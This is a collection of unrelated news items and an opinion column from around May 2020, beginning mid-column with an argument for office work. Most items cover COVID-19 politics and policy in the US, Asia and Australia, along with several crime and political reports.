And have I mentioned that offices are great places to find actual spouses? A surprising number of marriages start in their fluorescent halls. (Famous examples: Barack and Michelle Obama, Bill and Melinda Gates.) The statistics on this phenomenon vary  Ive seen studies ranging from 11 percent to 31 percent  but even the smallest number isnt trivial, and the most outlandish examples can make for delightful trivia. Southwest Airlines announced 21 years ago that more than 1,600 of its 26,900 employees were married to each other (under the perhaps inevitable headline, Love is in the air).

But the benefits to office life are more than just social. They are also intellectual. Without offices, we miss out on the chance for serendipitous encounters, and its precisely those moments of felicitous engagement that spark the best ideas.

Years ago, productivity philosopher and author Adam Grant pointed out to me that the reason we have Post-it Notes is because a chemist at 3M, Spencer Silver, spent years trying fruitlessly to promote his low-tack adhesive in and around the office  until a churchgoing colleague, Art Fry, finally saw one of his presentations and realized the sticky stuff would be perfect for keeping his bookmarks affixed to his hymnals. Propinquity made all the difference.

Another way to think about this: Working from home rather than the office is sort of like shopping on Amazon rather than in a proper bookstore. In a bookstore, you never know what you might find. You cant even know what you dont know until you wander down the wrong aisle and stumble across it.

But to me, the best arguments for the office have always been psychological  and never have they felt more urgent than at this moment. Ill start with a subtle thing: Remote work leaves a terrible feedback vacuum. Communication with colleagues is no longer casual but effortful; no matter how hard you try, youre going to have less contact  particularly of the casual variety  and with fewer people.

And what do we humans do in the absence of interaction? We invent stories about what that silence means. They are often negative ones. Its a formula for anxiety, misunderstanding, all-around messiness.

You need time to develop informal patterns with colleagues, especially if you dont know them well, Nancy Rothbard, a professor of management at Wharton, told me. She added that power differences also complicate things, and not in a way I found reassuring. The literature suggests that if a boss delays in replying to an email, we underlings assume he or she is off doing important things. But if were late in replying, the boss assumes were indolent or dont have much to say. Great.

More broadly speaking, even without an office, there will still be office politics. Theyre much easier to navigate if you can actually see your colleagues  and therefore discern where the power resides, how business gets done and who the kind people are.

But perhaps the most profound effect of working in an office has to do with our very sense of self. We live in an age where our identities arent merely assigned to us; they are realised and achieved, and places are powerful triggers of them. How much do I feel like a columnist if Im wearing a 21-year-old Austin Powers T-shirt (Its Cannes, baby!) and picking at my kids leftovers as I type? I mean, somewhat, sure. But I suspect Id feel more like one if I got dolled up and walked into the Times building each morning.

Rothbard, whos made a study of the borders between our professional and domestic selves, told me she sees this confusion all the time. There are integrators, she said, who dont mind the dissolution of those borders, and segmenters, who dont care for it. (The pandemic, she said, is a segmenters hell.) Its hardly uncommon to have multiple identities across multiple contexts, each of them authentic. But remote work makes it awfully hard for segmenters to give full expression to their professional selves, and when they do, it often rattles those around them. Your kids may see you talking to your employees in a different way and be like, Who is this person? she told me.

But its young people, Id argue, wholl miss out most if the office disappeared. Offices are often the very place where professional identities are forged  an especially valuable thing in an age of declining religious engagement and deferred marriage and childbearing. Yes, perhaps thats slightly ominous, just another depressing sign that work has replaced religion as a source of meaning, as Derek Thompson argued so beautifully in The Atlantic last year.

Unfortunately, technology has already collapsed the boundary between work and home. The office, at least, was a solid membrane between the two. And it may possibly be the last.

Jennifer Senior c.2020 The New York Times Company
P olice are hunting for four people over an alleged racially-aggravated assault on a barman in west London.

A man in his 20s reported being racially abused and assaulted at a pub in Portobello Road, Notting Hill, on February 15.

He also reported having jewellery stolen from him in the pub at around 11.30pm.

The incident was reported to police the following day but no arrests have yet been made.

Detectives have now released images of four people they would like to trace.

Scotland Yard described the first man as white, aged in his mid- to late-30s with shoulder length, dark hair.

The second suspect is white, in his mid to late 30s with short hair.

The third man is white, aged in his early 30s, of muscular build with short hair. He had a tattoo on his right arm above the elbow.

The fourth man is white, aged in his early 30s, and had dark hair.

Anyone who recognises those pictured is asked to contact the Central West robbery team on 0207 321 8015 quoting CAD 31 of February 16, or call Crimestoppers anonymously.
A Bharatiya Janata Party (BJP)-backed think tank, Public Policy Research Centre (PPRC), will offer a five-day online training course on good governance to mark the partys one year in office on May 30.

Current efforts by the government, whether it is the timing of the Covid-19 lockdown or the use of technology for combating the pandemic and Prime Minister Narendra Modis call for self-reliance, are being showcased by the BJP as accomplishments during the year.

The BJP came to power at the Centre for a second term in May 2019 with an unprecedented majority of 303 Lok Sabha members following the General election. Though the party has much to celebrate, such as passing the law to read down Article 370 in Jammu and Kashmir, the ban on triple talaq and the decks being cleared by the Supreme Court for the building a Ram Temple in Ayodhya, the Covid-19 crisis has put a spanner in the works.

Giving details of the online programme that is open to all, Vinay Sahasrabuddhe, national vice president of the BJP and honorary director of PPRC, said the Modi government has offered good governance since it first came to power in 2014, and its emphasis on last-mile delivery, efficient execution of schemes and use of TECHNOLOGY played a key role in its return to power last year.

The course will have bureaucrats, both serving and retired, as resource persons. Health ministry joint secretary Lav Agarwal and NITI Aayog CEO Amitabh Kant are likely to be part of the five-day course.

On its website, PPRC described the course in good governance as one imbued with public interest that demands exemplary collaborative inputs in the administration.

PPRC director Sumeet Bhasin said the programme will cover 10 topics, including the historical perspective of good governance, targeted last mile delivery, role of leadership, use of technology, and theory for Aatma Nirbhar Bharat (self reliant India).
The National Democratic Congress (NDC) has alleged the Ghana Police Service has suddenly become the puppet of the governing New Patriotic Party (NPP) resulting in arrests of its officials.

Our Manifesto: This is what YEN.com.gh believes in

The NDCs comment follows the arrest of Maj.(Rtd) Boakye-Djan after making some unsavoury comments on radio.

READ ALSO: Banking crisis: Ato Essien willing to refund GHC27.5 million to state

The Criminal Investigations Department (CID) has charged him with offensive conduct.

Reacting to the arrest, the NDC said in a statement that:

We are concerned that the Akufo-Addo government has turned the Ghana Police Service into an NPP Police Service that they control like their puppet.

"This is a very dangerous development of politicizing an important state institution like the Police Service."

YEN.com.gh earlier reported that the founder of the now-defunct Capital Bank, William Ato Essien, has told an Accra High Court, through his lawyers, that he is willing to refund GHC27.5 million to the state.

According to the embattled banker, he is ready and willing to to pay GHC27.5million to the state provided some of the charges levelled against him in connection to the collapse of Capital Bank are dropped.

695 test positive at fish-processing factory in Tema | #Yencomgh

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Source: YEN.com.gh
Source: Xinhua| 2020-05-22 19:50:14|Editor: huaxia

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WINDHOEK, May 22 (Xinhua) -- Namibia is set to cash in on idle cruise liners following the collapse of cruise tourism worldwide due to restrictions on travel as countries battle the further spread of COVID-19.

Namibia Port Authority (Namport) acting CEO Kavin Harry said in a statement Friday that a golden opportunity has presented itself after cruise liner companies approached the port authority with an urgent request to dry-stack idle passenger ships taking up costly mooring space in other ports around the globe.

Harry said travel restrictions have invariably impacted the cruise tourism industry as tourists have stopped travelling.

"Consequently, multitudes of cruise liner ships which are used to ferry tourists to and from destinations around the world are now idling and seeking parking space," he said.

The Namport executive said while the situation is unfortunate for the cruise ship industry, it had presented an opportunity for Namibia to provide berthing and parking space for the empty cruise ships.

According to Harry, the cruise ships will join at least six offshore supply vessels and oil rigs which, as a result of the fall in oil prices, have also been recalled from the oil fields and are being safely stored at the anchorage at the port of Walvis Bay, Namibia. Enditem
New National party leader Todd Muller is from the school that has remarkably produced the current Black Caps, All Black and Team NZ skippers: Tauranga Boys' College.

Todd has broken the mould to a degree, as a political leader. The other old boys all excel in sport - Black Caps captain Kane Williamson, Team NZ skipper Peter Burling and All Blacks captain Sam Cane.

It was remarkable enough when Cane - who did most of his schooling at Reporoa College - was named All Blacks captain this month, but now Todd has joined the leadership group.

But Todd was more enthusiastic than high achieving on the sports field, headmaster Robert Mangan told Stuff.

He was a college prefect, head librarian and second speaker on the debating team. He played junior basketball, was a rugby fan, but not in the Williamson-Burling-Cane class as an athlete.

"It was really in the oratory, speaking, and debating area that he shone," says Robert.

For all that in 1986, Todd won the premier all-round trophy at the college - the Frank Lawson Memorial Cup, for the student who had contributed most to the school.

It takes in academic, cultural and sporting endeavour, and school spirit.

"That's the top all-round trophy in the school," says Robert.

Todd attended Tauranga Boys College before earning his Masters Degree from the University of Waikato. His intent was to train as a school teacher, but that never happened.

Peter Burling and Kane Williamson return to Tauranga Boys' College where they were sporting stars in their final year in 2008. Supplied image.

World class cricketer Williamson wasn't even sports captain at Tauranga Boys' College, where Robert said he was remarkably talented even at basketball.

The sports captain was Burling, future world and Olympic yachting champion and Americas Cup-winning helmsman, who also happened to be Williamson's friend and classmate.

In 2008, Williamson was head boy and Burling was sports captain. The pair shared the school's Old Boy of the Decade.

All Black captain Cane joined the school a few weeks after Williamson and Burling left, trekking up from Reporoa for added rugby opportunity.

And now Todd. Could he ever be Prime Minister? Is there something in the Tauranga Boys' College drinking fountains that says he will?

Kevin Norquay/Stuff.
WASHINGTON  In March and April, Congress passed enormous coronavirus relief packages at warp speed. Now, the U.S. Senate is hitting the brakes on further aid with Republican leadership taking a wait and see approach.

Negotiations over the additional legislation will not start in the Senate until the third or fourth week of June, said Sen. Chuck Grassley, R-Iowa, on Thursday.

Were opening up the economy, we ought to know the impact of that. And No. 2, we ought to know whats accomplished with money weve put out, with hundreds of billions of it not even out yet, Grassley said. We want to see how this works out. If we have to do more, well do more.

Disappointed Democrats, who feel action is needed now, bemoaned that a bill may not be passed until mid- to late-July. Asking what more do you need, they point to U.S. unemployment numbers  38 million people filed for unemployment in nine weeks, rivaling the Great Depression  and over 100,000 deaths from the virus.

The House of Representatives passed its vision for the next coronavirus bill  a $3 trillion package with billions in relief for states, education, health care and the nations social safety net. House Democrats hoped passage of the partisan bill would prod Senate to action, but that does not appear to have worked.

But as Rep. Jim Himes, D-4, said Now the ball is in [Senate Majority Leader] Mitch McConnells court.

You can bet that Democrats plan to make this pause in action an election issue and will argue it deepened the economic and health crisis. You could see this strategy in action when Sen. Chris Murphy, D-Conn., tweeted Thursday Senate is voting on lifetime judges because Mitch McConnell hasnt felt the urgency of acting immediately. If you needed to reason to help us flip the Senate in 2020, this is it.

There are a few areas where Democrats and Republicans agree more must be done. Senators struck a bipartisan deal ease restrictions on federal Paycheck Protection Program loans to small businesses. Theyre working to pass it as soon as possible.

The deal would give businesses more time to spend the money and allow it to be spent on more things and still be forgiven, Politico reported. The Small Business Administration loan program has already awarded loans to over 50,000 Connecticut businesses.

Like other kinds of relief crafted by Congress back in March, Paycheck Protection Program needs tweaks because it was written as a form of short-term aid, but now it is clear the path to recovery from the coronavirus is likely to be long.

Biden snags new endorsement

Sen. Richard Blumenthal, D-Conn., endorsed former Vice President Joe Biden for president on Wednesday, beccoming the second member of the Connecticut Congressional delegation to do so.

Joe Biden is the steady hand our country desperately needs, Blumenthal said. I first came to know Joe through his son, Beau, when we were both serving as our states attorneys general. Beau was a smart, strategic fighter who always looked out for the little guy  qualities he inherited from his dad.

Beau Biden, the former attorney general of Delaware, died at age 46 from brain cancer.

Blumenthal said he has worked most closely with Joe Biden on the issue of gun violence in the wake of the Sandy Hook shooting in 2012.

Biden has picked up a slew of congressional endorsements in recent weeks and months, after securing enough delegates to become to presumptive Democratic nominee for president. Himes previously endorsed Biden.

A Quinnipiac University Poll this week found Biden is leading President Donald Trump in a head-to-head matchup, as Trumps approval rating sinks. The national poll of registered voters released Wednesday found Biden leads Trump 50 to 39 percent in the election for president.

Forty-two percent of voters approve of the job Trump is doing, while 53 percent disapprove, the poll found. Thats compared to a 45-51 percent job approval rating he received in April, his highest ever.

On coronavirus specifically, 41 percent of voters approve of Trumps work and 56 percent disapprove. By a sixteen-point margin, 55 to 39 percent, voters say they think Biden would do a better job than Trump handling the response to the coronavirus.

Both Biden and Trump have had to recalibrate their campaigns as a result of the virus and are reaching out to voters virtually, although Trump has recently suggested hed like to bring back his mass rallies.

emilie.munson@hearstdc.com; Twitter: @emiliemunson
President Donald Trump and Senate Majority Leader Mitch McConnell huddled Thursday at the White House as Republicans stake out new plans to phase out coronavirus-related unemployment benefits to encourage Americans to go back to work.

Revamping jobless aid is fast becoming the focus of debate over the next virus aid package. Currently, people filing for unemployment receive an enhanced $600 a week.

After the Senate decided to take a 'pause' on new pandemic proposals, senators faced mounting pressure to act before leaving town for a weeklong Memorial Day break.

The Senate also began efforts to fast-track an extension of a popular small business lending program.

'Republicans and the White House are reaching consensus on the need for redesigning the unemployment benefits so they are not a barrier to getting people back to work,' Rep. Kevin Brady of Texas, the top Republican on the House Ways and Means Committee, told reporters on a conference call.

The flurry of activity comes after House Speaker Nancy Pelosi pushed a new $3 trillion aid package through the House last week. The Senate, under McConnell, says there is no urgency to act, and senators are expected to reconsider more aid only in June.

Time to cut: Mitch McConnell met Donald Trump for talks on the economy and agreed that the $600-a-week enhancement to unemployment is stopping people returning to work

Agreement: President Donald Trump - who spoke to reporters before departing the White House for a trip to Michigan - is said to have backed the move against the $600-a-week enhancement

With the nation's death toll poised to hit 100,000 and layoffs surpassing 38 million, some lawmakers see a failure by Washington to act as untenable.

Yet Congress has moved beyond the political consensus reached at the outset of the crisis and is now splitting along familiar party lines.

The difference in approach and priorities between Democrats and Republicans reflects the partisan split that is defining both parties before the 2020 election.

At least one Republican, Sen. Cory Gardner of Colorado, was trying to prevent the Senate from recessing unless it considered more aid. No votes, however, were taken.

'Now is not the time for the Senate to go home,' tweeted Gardner, who is among the most politically endangered GOP senators running for reelection in the fall.

Gardner wanted agreement to extend the small business Paycheck Protection Program and pushed for more funds for state and local governments facing layoffs. He told reporters he had called Trump to express his concerns.

As a result, senators were trying to fast-track a proposal to extend the Paycheck Protection Program's expiration. The proposed fix would double from eight to 16 weeks the window for business owners absorbing losses because of the COVID-19 pandemic to spend their federally backed loans and still qualify to have them forgiven. The program was established in March under an earlier coronavirus response bill.

While the House works remotely, the lights-on Senate has the legislative stage to itself. But the chamber that considers itself the world's greatest deliberative body spent May debating almost anything but the pandemic. It confirmed several of Trump's executive and judicial nominees, including John Ratcliffe on Thursday as director of national intelligence.

'You wouldn't even know there's a COVID crisis,' Senate Democratic leader Chuck Schumer of New York told ABC's 'The View.' 'Crazy. Its just so wrong.'

Devastating economic toll: 38 million people have now filed unemployment claims

McConnell argued that his side of the Capitol led passage of the earlier $2 trillion package. Better to assess how that money is being spent, he said, before approving more. He rejects the new $3 trillion package approved by the Democratic-led House last week as a 'liberal wish list.'

On Thursday, McConnell mocked the House for working remotely and voting by proxy while senators in masks show up like other Americans returning to work. The District of Columbia remains under stay-home orders through June 8.

'The self-described `Peoples House has been suspiciously empty of people,' McConnell said. 'Every one of my Senate colleagues should be proud of how weve helped our nation win this first battle.'

Pelosi shot back: 'We have the Heroes bill,' she said about the House-passed aid measure. 'He has the zeroes bill.'

Unemployment insurance, though, was quickly becoming a new priority for Republicans staking out the next aid package.

Brady warned that generous benefits, with a $600 weekly boost during the pandemic approved under the earlier aid bill, would 'handcuff' workers and discourage them from returning to work.

Sen. Rand Paul, R-Ky., said, 'It was a mistake to make it so high to begin with. It would be a mistake to extend it.'

Republicans are hopeful that as states reopen, the economy will improve, lessening the need for more federal funds. But if workers refuse to return to work, they worry companies can't begin to rebound.

Brady proposes giving workers a one-time $1,200 bonus to get back to work. He said conversations were happening at the highest levels at the White House.

But polling shows Americans are concerned about a second wave of the virus as shops and workplaces reopen. A poll by The Associated Press-NORC Center for Public Affairs Research found 83% of Americans are at least somewhat concerned that lifting restrictions in their area will lead to additional infections, with 54% saying they are very or extremely concerned.
(Newser)  A Fortune 500 company in Atlanta says it's out $100,000 because an ex-worker exploited the pandemic. Per a DOJ release, Santwon Antonio Davis, 34, is accused of defrauding the unnamed company by falsely claiming he had COVID-19 and fabricating medical records. The AP lays out the details of Davis' alleged scam, which started on March 19 when he claimed to supervisors at the companywhich had told workers they'd get paid time off to quarantine if they tested positivethat his mother had been exposed to someone who had COVID-19, per an FBI agent's statement. Davis was told he was "low risk" and could still work, and his story soon started to evolve. Over the next few days, per the agent's statement, he first told a supervisor his mom had developed symptoms, then that she'd tested positive, then that he'd tested positive.

story continues below

When the company asked for his test results, he allegedly sent over a phony medical letter, which the company suspected was fake. They kept asking for his test results, which he never sent; he was eventually fired. In the meantime, the company shut down on March 23 to clean, paying its employees during the shutdown. It also made four of Davis' co-workers quarantine and paid them during that time. "The defendant caused unnecessary economic loss to his employer and distress to his co-workers and their families," US Attorney Byung J. "BJay" Pak said in the release. The Atlanta Journal-Constitution reports Davis has spent nearly a year and a half in prison since 2006, per Georgia Department of Corrections records. His convictions include theft, and damage to property. Davis appeared in court Thursday and was granted bond, per court records. (Read more COVID-19 stories.)
East Central District Health Department (ECDHD) on Thursday afternoon confirmed a fourth COVID-19-related death within its jurisdiction, in Colfax County. The deceased was a male, in his 70s, with underlying health conditions.

The death is the third for Colfax County; Platte County recorded its first COVID-19-related death on May 16.

Meanwhile, East-Central continues to work closely with a number of area businesses and industries across a variety of sectors, including meat packing, medical equipment production and energy, helping them meet their dual goals of increased employee/public safety and a return to full business operations.

Since the beginning of the COVID-19 pandemic, we have been providing technical assistance and information to businesses in our four counties, said East-Central Chief Public Health Officer Chuck Sepers. That technical assistance is currently focused on helping area industries implement the state and federal guidelines for protecting employees.

Some of the health and safety features that have been implemented at large employers in the ECDHD jurisdiction include:

 Social distancing markers in common areas, including the cafeteria.

 Physical barriers on the plant floor and in common areas.

 Robust screening procedures, including infrared cameras into the plant and in common areas.

 Dedicated plant staff to disinfect touch surfaces (e.g., stair hand holds, door surfaces).

 Hand sanitizer throughout the plant.

 Universal mask on policy.

 Eye protection, including face shields.

 Daily decontamination procedures. Eye protection, including face shields.

The pandemic continues to have an impact throughout the state. The Four Corners Health Department, which serves nearby Butler, Polk, Seward and York counties, announced 233 people were tested for COVID-19 Tuesday with assistance from the Nebraska National Guard. As of the end of the day Tuesday, Butler County had four new positive cases with a total of 37. Of those 37, there are 16 cases considered to be recovered.

Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.
Ten Indian nationals, some of them students, were charged on Friday with breaching the COVID-19 restrictions in Singapore by holding gatherings in a rented flat.

Three of the group invited the other seven to their rented flat to drink tea, talk or study on the morning of May 5,breaching the social distancing measures in place to combat coronavirus, the Channel Asia reported.

Under the COVID-19 regulations, meeting members of other households for a social purpose is prohibited and punishable by a maximum six-month jail term, a fine of up to SGD 10,000 or both.

The three tenants consisting of a woman, Avinash Kaur, and two men, Navdeep Singh, and Sajandeep Singh



were charged for permitting others into their residence.

The other seven consist of a woman Bhullar Jasteena and six men Arpit Kumar, Karmjit Singh, Mohammed Imran Pasha, Sharma Lukesh, Vijay Kumar and Waseem Akram.

All of them are aged between 20 and 33.

Avinash was given one charge of allowing Bhullar to enter the home to study at 11.30 am on May 5. Bhullar is accused of meeting Avinash to study and prepare for a school assignment.

Navdeep was handed three charges of allowing Waseem, Arpit and Mohammed Imran to enter the same house to talk and have tea at 9 am the same day.

The third tenant, Sajandeep, was slapped with three charges as well. He is accused of permitting Vijay, Karmjit and Sharma into the home to talk and have tea that morning.

The visitors face a corresponding charge each.

Karmjit said he was not aware of the law, while Imran said he arrived in Singapore just two months ago and was not aware of the rules, according to the Channel report.

Bhullar said she did not mean to "harm the rules of Singapore" and said she had to prepare for an assignment.

She said her intentions "are not bad" and that she cannot pay a high fine as she is a student.

"Maybe I made a mistake, I just regret it," she said through an interpreter.

The three tenants said they will be pleading guilty when they appear in court again on June 3.

Most of the visitors are set to plead guilty as well, except Bhullar who will return for a pre-trial conference next month, according to the report.

Meanwhile, a Singaporean woman of Indian-origin was charged in court on Friday for leaving her house twice to meet her boyfriend during the COVID-19 "circuit breaker" period.

Renukha Arumugam, 30, was charged with five counts under the COVID-19 (Temporary Measures) Act 2020.

Renukha is accused of not wearing her mask over her nose and mouth. She told the court that she was "really sorry for everything" and did not intend to break the law.

"I'm unemployed, so if you are going to give me a heavy fine, I don't think I can pay," she said.

She will return to court on Jun 10 to plead guilty.

The city-state imposed a partial lockdown in early April after it was hit by a second wave of virus infections sparked by foreign workers, many of them Indian nationals, living in crowded dormitories.

So far it has reported nearly 30,000 virus cases, among the highest in Asia, but only 22 deaths. It plans to gradually lift restrictions next month.

Singapore will exit its "circuit breaker" period as planned on June 1, with measures to be progressively lifted in three phases from the following day.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
- Angel Locsin bravely responded to a nasty accusation she received from one of her bashers

- The basher accused the actress of being a supporter of the New Peoples Army (NPA), a communist group

- The Kapamilya actress reacted to the accusation by denying she is an NPA supporter

- She also dared the accuser to reveal his or her real name so that each party can prove in public who is telling the truth

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Angel Locsin decided to respond to a nasty accusation she received from one of her bashers.

KAMI learned that the basher accused the actress of being a supporter of the New Peoples Army (NPA), a communist group.

The Kapamilya star responded to the basher by denying the accusation that she is an NPA supporter.

Angel also dared the accuser to reveal his or her real name so that each party can prove in public who is telling the truth.

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KAMI reported earlier that Angel received a death threat from a basher on social media.

Angel Locsin is a famous actress and endorser in the Philippines, best known for her portrayal of the superhero Darna. She is also known as one of the most charitable celebrities in the country. The actress is currently engaged to her partner, Neil Arce.

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Madhya Pradesh Chief Minister



Shivraj Singh Chouhan has held at least 81 virtual meetings ever since he took oath to the office amid the COVID-19 pandemic, a state official said on Friday.

Not just the Chief Minister, but even the state's Chief Secretary Iqbal Singh Bains has held online meetings with officials for 53 hours through 38 video-conferencing sessions, the official said.

Other state government departments have also been functioning through the video-conferences and virtual meetings in times of lockdown and social distancing, he said.

Chouhan, who took reigns of the state a night before the nationwide lockdown was imposed on March 24, has held meetings for a total of 149 hours through 81 video- conferences, the official said.

According to data released by the state government, Chouhan used social media extensively to communicate with the general public.

"The Chief Minister has posted 58 videos on his Twitter account and 108 videos on Facebook since March 23 and held direct discussion with the people of Madhya Pradesh through 22 live events," the official said.

The senior BJP leader's Facebook account registered 8 crore views since the lockdown, while his Twitter handle received 23 lakh views, he said.

More than 125 videos of Chouhan related to important decisions taken by the state government and COVID-19 guidelines had been posted on the Facebook account of the Chief Minister's Office (CMO), the official said.

Meanwhile, senior technical director of National Informatics Centre (NIC) Mayank Nagar said the Chief Minister was making full use of information and communication technology.

Chouhan has communicated with people from every section of the state through video conferencing and stayed in touch with his officials through 81 video-conferencing sessions, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
China took the rare move of not setting an annual growth target this year after the coronavirus battered the world's second-largest economy and ravaged global growth, Premier Li Keqiang said Friday.

Instead, given "great uncertainty" caused by the COVID-19 pandemic, Beijing will "give priority to stabilising employment and ensuring living standards", he told the opening of the National People's Congress.

He also announced that China's fiscal deficit was expected to be over 3.6 percent of gross domestic product this year, with a deficit increase of one trillion yuan ($140 billion) over last year.

Another one trillion yuan of government bonds will be issued for COVID-19 control, he added, calling these "extraordinary measures for an unusual time".

The two trillion yuan will be transferred in full to local governments, with the funds to be primarily used for ensuring employment, meeting basic living needs, and protecting market entities, said Li.

He also said governments at all levels should "tighten their belts", and that all types of surplus, idle and carryover funds will be withdrawn and re-allocated, to be put to better use.

It is the first time in recent years that officials have decided not to issue a numerical growth target, which is typically seen as a signal of the resources leaders are willing to spend to shore up the economy.

Li said China is "keenly aware of the difficulties and problems" the country faces, with COVID-19 sending the world economy into recession.

Before the pandemic, China was expected to announce a growth target of around six percent this year, allowing it to meet its key political commitment of doubling gross domestic product from 2010 to 2020.

But with the COVID-19 shock causing economic growth to shrink 6.8 percent in the first quarter, and with further damage on the cards, such a target was seen as no longer realistic.
The Awantipora District Police in Jammu and Kashmir held a wreath-laying ceremony to honour Head Constable Anoop Singh who was martyred in a terror attack at Prichoo, Pulwama, on Thursday.

IGP Kashmir Zone Vijay Kumar, IGP CRPF Rajash Kumar, DC Pulwama Ragov Langar, along with other Civil and Police Officers paid homage to the martyred head constable. Senior officers of CAPF, SP Pulwama Ashish Mishra, Commandant IR10th Fayaz Ahmad, and other officers, police personnel, and security forces also paid floral tributes.

On the same day, in Srinagar, a wreath-laying ceremony was held for Constable Rana Mondal and Constable Jia-ul-Haque of 37 Bn Border Security Force (BSF), who lost their lives in firing by unidentified terrorists at Paandach, Ganderbal on Wednesday.

READ | 2 BSF Personnel Martyred In Terrorist Attack In Srinagar; BSF Statement Here

READ | Srinagar: 2 Hizbul Terrorists, Including Divisional Commander, Eliminated

J&K cop martyred in attack at Prichoo

Head constable Anoop Singh of IRP 10th battalion was killed and two others were injured on Thursday when unknown terrorists launched an attack in Pulwama district of Jammu and Kashmir. The terrorists attacked a joint team of J&K Police and the Central Reserve Police Force (CRPF) in Pulwama town.

A police officer said that the terrorists fired indiscriminately at the joint Naka near the Prichoo area, resulting in injuries to three policemen who were been removed to sub-district hospital. One of them was declared brought dead while the other two were referred to Srinagars SMHS hospital for specialized treatment.

READ | Over 300 Terrorists In Launch Pads Across LoC, 240 Active In Hinterland: DGP

READ | Four JeM Associates Arrested In J-K's Pulwama

(With inputs from ANI)
From then on, Pulch says, the EU and Australia worked together on a "good cop, bad cop" routine in a bid to get more countries on board. This week, the resolution passed the assembly with a record 145 co-sponsors, including China. There are now a few burning questions. Firstly, how did the EU and Australia marshal the support for an independent inquiry, effectively sidelining the world's two major powers? And stuck between a rising authoritarian power and an erratic US President who appears increasingly disengaged from the world, does this week mark a new way forward? Can middle powers save multilateral organisations like the WHO from themselves and prevent countries from looking inward and reverting to nationalist power politics? Loading The Morrison government has faced criticism from Labor and some foreign policy experts for calling for the review before consulting other nations. They say it unnecessarily infuriated the Chinese government, and Australia didn't need to play a lead role. The Chinese Embassy in Canberra this week said Beijing was always willing to agree to a "scientific investigation" and any suggestion that the resolution was a vindication of Australia's position is "nothing but a joke".

Victorian Treasurer Tim Pallas and federal Labor frontbencher Joel Fitzgibbon blamed the federal government for triggering Chinese tariffs on up to $1 billion of Australian exports, saying Australia has insulted Beijing with its calls for the review. Some in Labor say we were always going to end up with an independent review, so Australia shouldn't have led from the front. Loading Senior sources within the Morrison government insist there was always method in announcing its position before getting other countries on board. Days before Payne went on Insiders, a key leadership meeting was held where it was decided Australia would publicly call for an independent review. Senior figures within the government were already concerned about the rhetoric coming out of the Trump administration, including calling COVID-19 the "Chinese virus". There was a belief forming within the Australian government that, having handled the virus better than most of the world, Australia was best placed to play a key role in calling for an inquiry. Pulch says Australia's move to get ahead of everyone else "created momentum" which "was quite helpful". With the help of the Department of Health's expert team, including its main adviser in Geneva Madeleine Heyward, DFAT negotiators went about trying to improve the wording.

They convinced other countries to make it an "impartial, independent and comprehensive evaluation" of the handling of COVID-19. Australian negotiators were also instrumental in putting in a separate proposal calling for an investigation into the zoonotic source of the virus, including how it made its way to humans. Loading Meanwhile, Payne spoke on the phone to about 40 of her counterparts around the world canvassing Australia's push for a review, while Morrison raised the issue in a number of his conversations and wrote to all G20 leaders, including Chinese President Xi Jinping. Australia's representative on the WHO's executive board, Dr Lisa Studdert, was also lobbying her counterparts for the review. One concern the EU and other countries, including some from Africa, raised with Australia early on was how fast Canberra appeared to want to move. Australian negotiators quickly moved to reassure these countries they were happy to remain patient. They settled on stipulating that the inquiry would begin at "the earliest appropriate moment", rather than immediately. But the EU and Australia faced many obstacles. The Sydney Morning Herald and The Age can reveal that while Australia was strengthening the language, some countries, including China and Russia, were trying to water it down. This included attempts to make the review look at the "achievements" of certain countries, according to senior sources from multiple countries familiar with the negotiations. Throughout the two weeks of talks, they say there were multiple serious attempts to weaken the motion.

In choosing to combine with the EU, Australia made many concessions. Morrison and Payne initially wanted the WHO to have nothing to do with the inquiry, with the Foreign Minister telling Insiders that struck her as "somewhat poacher and gamekeeper". The footnotes to the motion reveal the Independent Oversight and Advisory Committee, which was set up in the wake of the Ebola outbreak in west Africa, will be the body which will conduct the inquiry. Senior sources within the Australian government say there is enough separation from the WHO committee - which consists of seven members drawn from national governments, non-governmental organisations, and the UN system - to conduct an independent investigation. European Union Ambassador to Australia, Dr Michael Pulch, at Parliament House in Canberra on Thursday. Credit:Alex Ellinghausen As Australia and the EU worked on convincing countries to sign up to the motion, the United States was being unhelpful. From the start of this month, the Trump administration was claiming it had "enormous evidence" the coronavirus outbreak originated in a Wuhan laboratory - without providing any facts to back it up. While suggesting it supported the inquiry, the US said it opposed other sections of the motion, including a call for the world to maintain support for reproductive health. The US never co-sponsored the motion. Pulch says there was a "leadership vacuum" and Australia and the EU "were able to fill it". Pulch says this week was not the first significant example of Australia and the EU - a political and economic union made up of mostly middle powers - working together on the world stage. Earlier this year, Australia bypassed the US and teamed up with Europe, China and other countries to back a new global trade dispute umpire, after the Trump administration effectively suspended the World Trade Organisation's appellate body by refusing to appoint new judges. But this shouldn't hide the fact that Australia has had a complicated relationship with multilateral groups in recent years. At times, politicians have talked down the potential role we can play on the international stage.

The most glaring example was when, as opposition leader, Tony Abbott campaigned against the then Labor government's push for a seat on the UN Security Council. Once there, Australia was instrumental in setting up the independent investigation into the downing of Malaysia Airlines flight MH17. Senior figures in the Abbott government were left embarrassed they argued against the move when in opposition. Last October, Morrison used a major speech at the Lowy Institute to warn against "negative globalism" that could restrict his government from acting on its election promises. The Coalition government has not always sat comfortably in multilateral spaces such as the United Nations. Credit:Alex Ellinghausen While rejecting isolationism, Morrison said his government could not accept decisions by an "unaccountable internationalist bureaucracy" and ordered DFAT to review Australia's commitments to global institutions. After Australia's efforts on the global stage in recent weeks, the boffins at DFAT are now looking at this audit in a more positive light. Throughout the senior ranks in Canberra, there seems to be more of an emphasis on how we can improve multilateral organisations and less focus on whether we should disengage from them.

Alexander Downer, foreign minister in the Howard government, says the Morrison government doesn't have any ideological commitment to multilateral institutions, which is something "you find more on the left of politics". "It has a pragmatic view of multilateral institutions  if they serve our national interests we should be supporting them, if they don't then why would we support them?" Downer says. Illustration: Richard Giliberto Credit: He says this week's events marked a "prestigious moment for Australia", with the nation showing itself to be a leader in "creative and constructive diplomacy", and it could now leverage this soft power to continue to influence multilateral organisations. "The EU was very important in terms of putting forward the original resolution. It is about the overwhelming body of countries wanting this investigation and the Australian government captured not just the mood in this country, but captured a mood globally - it's how all governments felt," Downer says.

